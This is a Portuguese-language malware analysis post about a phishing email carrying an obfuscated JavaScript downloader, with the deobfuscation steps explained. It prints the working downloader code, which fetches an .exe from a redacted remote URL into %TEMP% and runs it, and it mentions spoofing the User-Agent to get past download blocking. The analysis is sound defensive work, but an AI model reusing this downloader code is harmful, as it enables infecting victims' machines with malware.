Essa semana recebemos um arquivo suspeito e através de uma análise básica confirmamos se tratar de um malware. Neste texto mostramos como confirmamos que o arquivo é malicioso e como esta ameaça poderia impactar um ambiente comprometido por ela.
O e-mail é uma das formas mais utilizadas para a propagação de malware e neste caso não foi diferente. No corpo do e-mail podemos observar uma mensagem relativamente convincente tentando, através da engenharia social, levar a vítima a abrir um arquivo comprimido, anexo à mensagem.
Ao descomprimir o arquivo, a vítima se depara com um script malicioso (escrito em JavaScript, que roda no navegador). Seu conteúdo é altamente ofuscado, como mostra a imagem abaixo:
Desofuscamos o arquivo, de forma manual (para isso é preciso algum conhecimento em JavaScript, lógica de programação, tempo e paciência). O resultado pode ser visto na imagem abaixo:
Na imagem acima podemos perceber que no código há várias funções, chamadas em cascata, ou seja, uma função que chama outra e assim sucessivamente. Esta é uma técnica conhecida de ofuscação de código.
Como estas funções funcionam?
Neste código podemos observar um padrão:
function iy() {
b = ‘eval’;
a += ‘(er’;
de();
};
function = Informa ao interpretador que uma função está sendo declarada
iy() = Nome da função.
b = Representa uma variável utilizada para armazenar determinado valor, no caso um texto (string) ‘eval’, que será explicado posteriormente.
a = Representa outra variável para armazenar determinado valor. No caso, uma variável global, que tem seu conteúdo montado com a ajuda de diversas funções no código.
de() = Chamada para outra função, implementando o algoritmo de cascata.
Precisamos também extrair informações que julgamos importantes para a análise. Começamos buscando referências de endereços web e domínios no código e encontramos o que poderia ser o começo de uma:
Após achar a função ju(), notamos que ela faz referência a outra função chamada fi() e com isso damos sequência na investigação:
Nesta função, percebemos que a variável “a”, que na função anterior tem seu conteúdo inicializado com o texto “htt”, sofre agora uma concatenação (perceba o operador +=) com o texto “p:/”, resultando assim em “http:/”.
Após seguir todos apontamentos das funções, chegamos à seguinte URL:
“http://xxxx.xxxx.com/document.php?id=5453575E14011249111701161724080D1710174A170B11160701020B1603014A0A0110&rnd=9762521”
Ao analisarmos todo o esquema de cascateamento das funções existentes no arquivo .JS, pudemos chegar ao codigo abaixo:
function dl(fr, fn, rn){
var ws = new ActiveXObject(“WScript.Shell”);
var fn = ws.ExpandEnvironmentStrings(“%TEMP%”) + String.fromCharCode(92) + fn;
var xo = new ActiveXObject(“MSXML2.XMLHTTP”);
xo.onreadystatechange = function (){
if (xo.readyState === 4){
var xa = new ActiveXObject(“ADODB.Stream”);
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
}
;
}
;
try {
xo.open(“GET”, fr, false);
xo.send();
if (rn > 0){
ws.Run(fn, 0, 0);
}
;
}
catch (er){
}
;
}
;
dl(“http://xxxx.xxxx.com/document.php?id=5453575E14011249111701161724080D1710174A170B11160701020B1603014A0A0110&rnd=9762521”, “62988335.exe”, 1);
O código acima baixa um arquivo do link informado como primeiro parâmetro da função dl(), nomeado 62988335.exe no diretorio temporário e o executa.
Este script pode ser classificado como um Downloader, ameaças que fazem o download de outros arquivos maliciosos com o intuito de infectar o sistema. O site em questão possuía proteção contra download via wget. Para podermos baixar o malware foi necessário fazer a alteração do cabeçalho User-Agent na requisiçao HTTP, forçando uma identificação similar a do navegador Mozilla Firefox.
A Trend Micro detecta este malware como JS_NEMUCOD.SMB
Identificador de Comprometimento:
d0c09b89a3bdf8e19f6e41d715e30d77 00170364.doc.js